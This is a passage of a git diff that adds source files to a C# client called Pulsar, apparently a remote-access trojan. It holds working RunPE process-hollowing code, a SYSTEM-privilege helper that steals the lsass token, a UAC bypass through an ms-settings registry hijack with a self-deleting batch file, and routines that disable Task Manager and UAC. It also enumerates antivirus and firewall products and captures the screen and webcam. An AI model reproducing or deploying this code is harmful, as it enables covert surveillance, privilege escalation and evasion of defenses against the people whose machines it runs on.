payload.Length - pointerToRawData; + if (sizeOfRawData <= 0) + { + Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data"); + sectionOffset += 0x28; + continue; + } + } + + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) + { + Debug.WriteLine($"[RunPE] Failed to write section {i}"); + return false; + } + Debug.WriteLine($"[RunPE] Section {i} written successfully"); + } + sectionOffset += 0x28; + } + + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite)) + { + Debug.WriteLine("[RunPE] Failed to update PEB"); + return false; + } + + int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); + context[0x2C] = newImageBase + entryPoint; + Debug.WriteLine($"[RunPE] Entry point: 0x{context[0x2C]:X}"); + + if (!Wow64SetThreadContext(pi.ThreadHandle, context)) + { + Debug.WriteLine($"[RunPE] Wow64SetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + return true; + } + + private static bool Execute64Bit(ProcessInformation pi, byte[] payload, int fileAddress) + { + Debug.WriteLine("[RunPE] Using 64-bit injection method..."); + + CONTEXT64 context = new CONTEXT64(); + context.ContextFlags = CONTEXT_FULL; + + if (!GetThreadContext(pi.ThreadHandle, ref context)) + { + Debug.WriteLine($"[RunPE] GetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] RDX: 0x{context.Rdx:X}"); + + byte[] pebBuffer = new byte[8]; + int bytesRead = 0; + if (!ReadProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), pebBuffer, 8, out bytesRead)) + { + Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + long originalBase = BitConverter.ToInt64(pebBuffer, 0); + long imageBase = BitConverter.ToInt64(payload, fileAddress + 0x30); + Debug.WriteLine($"[RunPE] Original base: 0x{originalBase:X}, Target base: 0x{imageBase:X}"); + + if (originalBase == imageBase) + { + if (ZwUnmapViewOfSection(pi.ProcessHandle, (IntPtr)originalBase) != 0) + { + Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed"); + return false; + } + } + + int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); + int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); + + IntPtr newImageBase = VirtualAllocEx(pi.ProcessHandle, (IntPtr)imageBase, (uint)sizeOfImage, 0x3000, 0x40); + if (newImageBase == IntPtr.Zero) + { + Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase.ToInt64():X}"); + + int bytesWritten = 0; + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, out bytesWritten)) + { + Debug.WriteLine("[RunPE] Failed to write headers"); + return false; + } + + short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); + // PE32+ has a larger optional header (0x108 vs 0xF8 for PE32) + int sectionOffset = fileAddress + 0x108; + + for (int i = 0; i < numberOfSections; i++) + { + int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); + int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); + int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); + + Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}"); + + if (sizeOfRawData > 0 && pointerToRawData > 0) + { + // Bounds check + if (pointerToRawData + sizeOfRawData > payload.Length) + { + Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size"); + sizeOfRawData = payload.Length - pointerToRawData; + if (sizeOfRawData <= 0) + { + Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data"); + sectionOffset += 0x28; + continue; + } + } + + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData); + + if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)newImageBase + virtualAddress), sectionData, sectionData.Length, out bytesWritten)) + { + Debug.WriteLine($"[RunPE] Failed to write section {i}"); + return false; + } + Debug.WriteLine($"[RunPE] Section {i} written successfully ({bytesWritten} bytes)"); + } + sectionOffset += 0x28; + } + + byte[] newImageBaseBytes = BitConverter.GetBytes((long)newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), newImageBaseBytes, 8, out bytesWritten)) + { + Debug.WriteLine("[RunPE] Failed to update PEB"); + return false; + } + + int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); + context.Rcx = (ulong)((long)newImageBase + entryPoint); + Debug.WriteLine($"[RunPE] Entry point: 0x{context.Rcx:X}"); + + if (!SetThreadContext(pi.ThreadHandle, ref context)) + { + Debug.WriteLine($"[RunPE] SetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + return true; + } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/.DS_Store b/Pulsar.Client/Helper/ScreenStuff/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Helper/ScreenStuff/.DS_Store differ diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/.DS_Store b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/.DS_Store differ diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopDuplicationException.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopDuplicationException.cs new file mode 100644 index 0000000..2cd6ebf --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopDuplicationException.cs @@ -0,0 +1,18 @@ +using System; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + /// + /// Exception thrown when an error occurs during desktop duplication operations. + /// + public class DesktopDuplicationException : Exception + { + public DesktopDuplicationException(string message) : base(message) + { + } + + public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException) + { + } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs new file mode 100644 index 0000000..db7c234 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs @@ -0,0 +1,57 @@ +using System; +using System.Drawing; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + /// + /// Provides image data, cursor data, and image metadata about the retrieved desktop frame. + /// + public class DesktopFrame + { + /// + /// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor. + /// + public Bitmap DesktopImage { get; internal set; } + + /// + /// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image. + /// + /// + /// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions. + /// + public MovedRegion[] MovedRegions { get; internal set; } + + /// + /// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame. + /// + /// + /// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions. + /// + public Rectangle[] UpdatedRegions { get; internal set; } + + /// + /// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame. + /// + public int AccumulatedFrames { get; internal set; } + + /// + /// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen. + /// + public Point CursorLocation { get; internal set; } + + /// + /// Gets whether the cursor on the last retrieved desktop image was visible. + /// + public bool CursorVisible { get; internal set; } + + /// + /// Gets whether the desktop image contains protected content that was already blacked out in the desktop image. + /// + public bool ProtectedContentMaskedOut { get; internal set; } + + /// + /// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels. + /// + public bool RectanglesCoalesced { get; internal set; } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs new file mode 100644 index 0000000..f6f3a37 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs @@ -0,0 +1,23 @@ +using System.Drawing; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + /// + /// Describes the movement of an image rectangle within a desktop frame. + /// + /// + /// Move regions are always non-stretched regions so the source is always the same size as the destination. + /// + public struct MovedRegion + { + /// + /// Gets the location from where the operating system copied the image region. + /// + public Point Source { get; internal set; } + + /// + /// Gets the target region to where the operating system moved the image region. + /// + public Rectangle Destination { get; internal set; } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs new file mode 100644 index 0000000..45714a7 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs @@ -0,0 +1,15 @@ +using SharpDX.DXGI; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + internal class PointerInfo + { + public byte[] PtrShapeBuffer; + public OutputDuplicatePointerShapeInformation ShapeInfo; + public SharpDX.Point Position; + public bool Visible; + public int BufferSize; + public int WhoUpdatedPositionLast; + public long LastTimeStamp; + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs b/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs new file mode 100644 index 0000000..f8f23bc --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs @@ -0,0 +1,149 @@ +using Pulsar.Client.Config; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper +{ + public static class ScreenHelperCPU + { + private const int SRCCOPY = 0x00CC0020; + private const int CURSOR_SHOWING = 0x00000001; + private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO)); + + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int X; + public int Y; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CURSORINFO + { + public int cbSize; + public int flags; + public IntPtr hCursor; + public POINT ScreenPosition; + } + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetCursorInfo(out CURSORINFO pci); + + [DllImport("user32.dll")] + private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); + + [DllImport("gdi32.dll")] + private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + private static extern bool DeleteDC(IntPtr hdc); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false) + { + if (setThreadPointer) + { + SetThreadDesktop(Settings.OriginalDesktopPointer); + } + + Rectangle bounds = GetBounds(screenNumber); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); + + using (Graphics g = Graphics.FromImage(screen)) + { + IntPtr destDeviceContext = g.GetHdc(); + using (var srcDeviceContext = new DeviceContext("DISPLAY")) + { + BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY); + DrawCursor(destDeviceContext, bounds); + } + g.ReleaseHdc(destDeviceContext); + } + + return screen; + } + + private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds) + { + var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize }; + if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING) + { + DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor); + } + } + + public static Rectangle GetBounds(int screenNumber) + { + var rects = DisplayManager.GetAllMonitorRects(); + if (screenNumber < 0 || screenNumber >= rects.Count) + throw new ArgumentOutOfRangeException(nameof(screenNumber)); + var r = rects[screenNumber]; + return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top); + } + + private class DeviceContext : IDisposable + { + public IntPtr Handle { get; } + + public DeviceContext(string deviceName) + { + Handle = CreateDC(deviceName, null, null, IntPtr.Zero); + } + + public void Dispose() + { + DeleteDC(Handle); + } + } + } + public class DisplayManager + { + [DllImport("user32.dll")] + public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData); + + public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData); + + [StructLayout(LayoutKind.Sequential)] + public struct Rect + { + public int left; + public int top; + public int right; + public int bottom; + } + + public static int GetDisplayCount() + { + int count = 0; + EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, + (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) => + { + count++; + return true; + }, IntPtr.Zero); + return count; + } + + public static List GetAllMonitorRects() + { + var rects = new List(); + EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, + (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) => + { + rects.Add(lprcMonitor); + return true; + }, IntPtr.Zero); + return rects; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/SystemElevation.cs b/Pulsar.Client/Helper/SystemElevation.cs new file mode 100644 index 0000000..49eee25 --- /dev/null +++ b/Pulsar.Client/Helper/SystemElevation.cs @@ -0,0 +1,205 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security.Principal; + +namespace Pulsar.Client.Helper +{ + public class SystemElevation + { + private const uint TOKEN_ALL_ACCESS = 0x000F01FF; + private const uint TOKEN_DUPLICATE = 0x00000002; + private const uint TOKEN_QUERY = 0x00000004; + private const int SE_PRIVILEGE_ENABLED = 0x2; + + [StructLayout(LayoutKind.Sequential)] + public struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool AdjustTokenPrivileges( + IntPtr tokenHandle, + bool disableAllPrivileges, + ref TokPriv1Luid newState, + int bufferLength, + IntPtr previousState, + IntPtr returnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool SetThreadToken(IntPtr thread, IntPtr token); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + + public static void Elevate(ISender client) + { + if (!IsAdministrator()) + { + Debug.WriteLine("Run the Command as an Administrator"); + client.Send(new SetStatus { Message = "Run the Command as an Administrator" }); + return; + } + + if (!EnablePrivilege("SeDebugPrivilege")) + { + Debug.WriteLine("Failed to enable SeDebugPrivilege."); + client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." }); + return; + } + + if (!DuplicateAndSetToken()) + { + Debug.WriteLine("Token duplication and impersonation failed."); + client.Send(new SetStatus { Message = "Token duplication and impersonation failed." }); + } + else + { + Debug.WriteLine("Token duplication and impersonation successful."); + client.Send(new SetStatus { Message = "Token duplication and impersonation successful." }); + } + } + + private static bool IsAdministrator() + { + WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + private static bool EnablePrivilege(string privilege) + { + if (!LookupPrivilegeValue(null, privilege, out long luid)) + { + return false; + } + + TokPriv1Luid tpLuid = new TokPriv1Luid + { + Count = 1, + Luid = luid, + Attr = SE_PRIVILEGE_ENABLED + }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken)) + { + return false; + } + + try + { + return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero); + } + finally + { + CloseHandle(hToken); + } + } + + private static bool DuplicateAndSetToken() + { + Process lsass = Process.GetProcessesByName("lsass")[0]; + if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken)) + { + return false; + } + + try + { + if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle)) + { + return false; + } + + try + { + return SetThreadToken(IntPtr.Zero, duplicateTokenHandle); + } + finally + { + CloseHandle(duplicateTokenHandle); + } + } + finally + { + CloseHandle(hLsassToken); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CloseHandle(IntPtr hObject); + public static void DeElevate(ISender client) + { + if (!IsAdministrator()) + { + Debug.WriteLine("Run the Command as an Administrator"); + client.Send(new SetStatus { Message = "Run the Command as an Administrator" }); + return; + } + + if (!DisablePrivilege("SeDebugPrivilege")) + { + Debug.WriteLine("Failed to disable SeDebugPrivilege."); + client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." }); + return; + } + + if (!RevertToSelf()) + { + Debug.WriteLine("Failed to revert to self."); + client.Send(new SetStatus { Message = "Failed to revert to self." }); + } + else + { + Debug.WriteLine("Reverted to self successfully."); + client.Send(new SetStatus { Message = "Reverted to self successfully." }); + } + } + + private static bool DisablePrivilege(string privilege) + { + if (!LookupPrivilegeValue(null, privilege, out long luid)) + { + return false; + } + + TokPriv1Luid tpLuid = new TokPriv1Luid + { + Count = 1, + Luid = luid, + Attr = 0 // Disable the privilege + }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken)) + { + return false; + } + + try + { + return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero); + } + finally + { + CloseHandle(hToken); + } + } + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/SystemHelper.cs b/Pulsar.Client/Helper/SystemHelper.cs new file mode 100644 index 0000000..98f27c0 --- /dev/null +++ b/Pulsar.Client/Helper/SystemHelper.cs @@ -0,0 +1,137 @@ +using Microsoft.Win32; +using Pulsar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace Pulsar.Client.Helper +{ + public static class SystemHelper + { + public static string GetUptime() + { + try + { + var explorers = System.Diagnostics.Process.GetProcessesByName("explorer"); + if (explorers.Length > 0) + { + // Select the oldest explorer instance (earliest StartTime) + var oldest = explorers.OrderBy(p => p.StartTime).First(); + + DateTime sessionStart = oldest.StartTime; + TimeSpan uptimeSpan = DateTime.Now - sessionStart; + + return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s"; + } + else + { + return "Explorer not running"; + } + } + catch + { + TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount); + return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s"; + } + } + + public static string GetPcName() + { + return Environment.MachineName; + } + + public static string GetAntivirus() + { + try + { + string antivirusName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = "root\\SecurityCenter2"; + string query = "SELECT * FROM AntivirusProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + antivirusName += mObject["displayName"].ToString() + "; "; + } + } + antivirusName = StringHelper.RemoveLastChars(antivirusName); + + return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string firewallName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = "root\\SecurityCenter2"; + string query = "SELECT * FROM FirewallProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + firewallName += mObject["displayName"].ToString() + "; "; + } + } + firewallName = StringHelper.RemoveLastChars(firewallName); + + return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetDefaultBrowser() + { + try + { + const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice"; + using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey)) + { + string progId = key?.GetValue("ProgId")?.ToString() ?? ""; + + if (!string.IsNullOrEmpty(progId)) + { + var map = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { "ChromeHTML", "Google Chrome" }, + { "MSEdgeHTM", "Microsoft Edge" }, + { "IE.HTTP", "Internet Explorer" }, + { "FirefoxURL", "Mozilla Firefox" }, + { "BraveHTML", "Brave" }, + { "OperaStable", "Opera" }, + { "VivaldiHTM", "Vivaldi" } + }; + + foreach (var kvp in map) + { + if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase)) + return kvp.Value; + } + + // fallback: trim weird suffixes + return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim(); + } + } + } + catch + { + // ignore and fallback + } + + return "-"; + } + } +} diff --git a/Pulsar.Client/Helper/TaskManager/TaskManager.cs b/Pulsar.Client/Helper/TaskManager/TaskManager.cs new file mode 100644 index 0000000..ff8469b --- /dev/null +++ b/Pulsar.Client/Helper/TaskManager/TaskManager.cs @@ -0,0 +1,56 @@ +using Microsoft.Win32; +using System; + +namespace Pulsar.Client.Helper.TaskManager +{ + /// + /// Provides functionality to enable or disable the Windows Task Manager. + /// + public static class TaskManager + { + private const string RegistryKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Policies\System"; + private const string ValueName = "DisableTaskMgr"; + + /// + /// Enables the Windows Task Manager by removing the registry restriction. + /// + public static void Enable() + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RegistryKeyPath, true)) + { + if (key != null) + { + key.DeleteValue(ValueName, false); + } + } + } + catch (Exception ex) + { + System.Diagnostics.Debug.WriteLine($"Failed to enable Task Manager: {ex.Message}"); + } + } + + /// + /// Disables the Windows Task Manager by setting the registry restriction. + /// + public static void Disable() + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(RegistryKeyPath)) + { + if (key != null) + { + key.SetValue(ValueName, 1, RegistryValueKind.DWord); + } + } + } + catch (Exception ex) + { + System.Diagnostics.Debug.WriteLine($"Failed to disable Task Manager: {ex.Message}"); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/UAC/Bypass.cs b/Pulsar.Client/Helper/UAC/Bypass.cs new file mode 100644 index 0000000..cd3d499 --- /dev/null +++ b/Pulsar.Client/Helper/UAC/Bypass.cs @@ -0,0 +1,58 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.UAC +{ + public class Bypass + { + private static string randomBatname = Guid.NewGuid().ToString("N").Substring(0, 8); + + public static void DoUacBypass() + { + string exePath = Application.ExecutablePath; + + string batPath = System.IO.Path.Combine(System.IO.Path.GetTempPath(), randomBatname + ".bat"); + + string batContent = $@" + @echo off + timeout /t 4 /nobreak >nul + start """" ""{exePath}"" + (goto) 2>nul & del ""%~f0"" + "; + + System.IO.File.WriteAllText(batPath, batContent, Encoding.ASCII); + + string command = $"conhost --headless \"{batPath}\""; + + using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true)) + { + using (RegistryKey cmdKey = classesKey.CreateSubKey(@"ms-settings\Shell\Open\command")) + { + cmdKey.SetValue("", command, RegistryValueKind.String); + cmdKey.SetValue("DelegateExecute", "", RegistryValueKind.String); + } + } + + Process p = new Process(); + p.StartInfo.FileName = "computerdefaults.exe"; + p.Start(); + p.WaitForExit(); + + using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true)) + { + try + { + classesKey.DeleteSubKeyTree("ms-settings"); + } + catch { } + } + } + } +} diff --git a/Pulsar.Client/Helper/UAC/UACToggle.cs b/Pulsar.Client/Helper/UAC/UACToggle.cs new file mode 100644 index 0000000..83dd4e5 --- /dev/null +++ b/Pulsar.Client/Helper/UAC/UACToggle.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.UAC +{ + public class UACToggle + { + public static void EnableUAC() + { + try + { + Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true); + if (uacKey != null) + { + uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord); + uacKey.Close(); + } + } + catch (Exception ex) + { + Debug.WriteLine("Error enabling UAC: " + ex.Message); + } + } + + public static void DisableUAC() + { + try + { + Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true); + if (uacKey != null) + { + uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord); + uacKey.Close(); + } + } + catch (Exception ex) + { + Debug.WriteLine("Error disabling UAC: " + ex.Message); + } + } + } +} diff --git a/Pulsar.Client/Helper/WebcamHelper.cs b/Pulsar.Client/Helper/WebcamHelper.cs new file mode 100644 index 0000000..3209ed3 --- /dev/null +++ b/Pulsar.Client/Helper/WebcamHelper.cs @@ -0,0 +1,205 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Threading; + +namespace Pulsar.Client.Helper +{ + public class WebcamHelper + { + private readonly object _lock = new object(); + private Bitmap _currentFrame; + private bool _isRunning = false; + private VideoCaptureDevice _videoDevice; + private int _width; + private int _height; + private DateTime _lastFrameTime = DateTime.MinValue; + private readonly TimeSpan _frameInterval = TimeSpan.FromMilliseconds(33); // ~30fps + + public void StartWebcam(int webcamIndex) + { + try + { + if (_isRunning) return; + + FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + if (captureDevices.Count == 0) + { + Debug.WriteLine("No webcam detected."); + return; + } + + if (webcamIndex < 0 || webcamIndex >= captureDevices.Count) + { + Debug.WriteLine("Invalid selection."); + return; + } + + _videoDevice = new VideoCaptureDevice(captureDevices[webcamIndex].MonikerString); + + var videoCapabilities = _videoDevice.VideoCapabilities; + if (videoCapabilities != null && videoCapabilities.Length > 0) + { + bool foundMatchingResolution = false; + + foreach (var capability in videoCapabilities) + { + if (capability.AverageFrameRate >= 25 && capability.AverageFrameRate <= 35) + { + _videoDevice.VideoResolution = capability; + foundMatchingResolution = true; + Debug.WriteLine($"Selected video mode: {capability.FrameSize.Width}x{capability.FrameSize.Height} @ {capability.AverageFrameRate}fps"); + break; + } + } + + if (!foundMatchingResolution && videoCapabilities.Length > 0) + { + _videoDevice.VideoResolution = videoCapabilities[0]; + Debug.WriteLine($"Selected default video mode: {videoCapabilities[0].FrameSize.Width}x{videoCapabilities[0].FrameSize.Height} @ {videoCapabilities[0].AverageFrameRate}fps"); + } + } + + _videoDevice.NewFrame += new NewFrameEventHandler(FinalFrame_NewFrame); + _videoDevice.VideoSourceError += VideoDevice_VideoSourceError; + _videoDevice.Start(); + _isRunning = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting webcam: {ex.Message}"); + } + } + + public static string[] GetWebcams() + { + try + { + FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + string[] webcams = new string[captureDevices.Count]; + for (int i = 0; i < captureDevices.Count; i++) + { + webcams[i] = captureDevices[i].Name; + } + return webcams; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting webcams: {ex.Message}"); + return new string[0]; + } + } + + public void StopWebcam() + { + if (!_isRunning) return; + + try + { + _videoDevice.SignalToStop(); + _videoDevice.WaitForStop(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error stopping webcam: {ex.Message}"); + } + finally + { + if (_videoDevice != null) + { + _videoDevice.NewFrame -= FinalFrame_NewFrame; + _videoDevice.VideoSourceError -= VideoDevice_VideoSourceError; + _videoDevice = null; + } + _isRunning = false; + } + } + + public Bitmap GetLatestFrame() + { + DateTime now = DateTime.UtcNow; + + lock (_lock) + { + try + { + if (_currentFrame == null) + return null; + + if ((now - _lastFrameTime) >= _frameInterval) + { + 